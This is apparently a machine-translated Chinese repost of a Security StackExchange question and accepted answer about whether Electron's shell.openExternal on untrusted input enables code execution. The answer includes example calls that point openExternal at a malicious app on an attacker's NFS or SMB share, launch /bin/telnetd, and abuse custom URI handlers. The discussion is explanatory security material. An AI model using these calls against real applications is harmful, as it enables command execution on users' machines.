首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >电子"shell.openExternal“对不可信内容的危害

电子"shell.openExternal“对不可信内容的危害
EN

Security用户
提问于 2020-02-12 20:28:22
回答 1查看 1.6K关注 0票数 2

我很好奇在不受信任的内容上执行shell.openExternal的实际危险。文档特别指出,可以在RCE中利用这一点:

对openExternal的不当使用可能会影响用户的主机。当openExternal与不受信任的内容一起使用时,可以利用它来执行任意命令。

我可以通过弹出计算器应用程序或在文本编辑器中打开/etc/passwd来找到有关这个在线声明的所有报告。但这些都不是真正的远程代码执行。是的,RCE漏洞通常是通过弹出计算器应用程序来实现的,但弹出计算器应用程序并不意味着您有RCE:这些只是执行受害者的文件系统上已经存在的本地代码,或者在默认应用程序中打开受害者的文件系统上的文件。我不知道如何利用这种能力来危害用户的主机,而且我还没有找到在不受信任的内容上执行shell.openExternal所造成的实际RCE攻击或漏洞的例子。

从文档和实验来看,shell.openExternal的工作方式似乎实际上是在应用程序中打开一个url、文件或二进制文件,您的系统通常会使用它来运行它。您不能传递参数,因此调用shell并不特别有用。据我所知,在实际的RCE中利用这一点,首先需要将恶意二进制文件放到目标的文件系统上,位于可预测的位置。请注意,将恶意二进制文件上传到Internet并通过URL指向它是行不通的--它只会导致浏览器打开并提供文件供下载。

因此,假设我正在运行一个电子应用程序,它称为shell.openExternal(value);,在这里您可以控制value。如何在我的机器上执行任意代码/命令?

EN

回答 1

Security用户

回答已采纳

发布于 2020-02-13 01:22:27

我认为您的困惑源于您对“远程代码执行”(RCE)一词的解释。这个术语用于描述(可能是口头上的)许多不同类型的关键软件漏洞,这些漏洞允许攻击者在易受攻击的系统上执行任意代码或命令。此漏洞可能是由于内存损坏错误、逻辑错误、软件开发实践不佳或上述因素综合造成的。

您的问题中描述的漏洞允许“任意命令执行”。这些漏洞也被称为web应用程序安全中的“命令注入”漏洞,也许在其他地方也是如此。在这种情况下,您的断言是正确的,即执行的不是“远程”代码,但攻击者仍然可以在系统上运行潜在的任意命令。虽然不像内存损坏的bug那样花哨,攻击者可能劫持程序的指令流并可能执行自己的外壳代码,但它仍然很关键,因为攻击者不受openExternal函数性质的限制。

以下是攻击者如何处理此漏洞的一些示例:

代码语言:javascript
复制
# Sure, harmless enough   
shell.openExternal('file:///Applications/Calculator.app')
# What if you provide a file URI to a network share that contains a malicious app?
shell.openExternal('file://net/203.0.113.0/nfs/evil/malicious.app')
# Or SMB share?
shell.openExternal('\\203.0.113.0\evil\malicious.exe')
# Maybe in some cases it is bad enough to just run a program with no arguments? (Rough example)
shell.openExternal('file:///bin/telnetd')
# Or maybe it could be combined with some kind of file upload to use an attacker's uploaded file.

此外,一些应用程序可能注册自定义URI协议处理程序(如x-custom-app:// ),这些处理程序允许攻击者打开应用程序,并向其提供所支持的任何命令/数据。

我建议您在网上搜索使用openExternal的bug赏金记录。以下是我发现的一些事情:

票数 2
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/225799

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档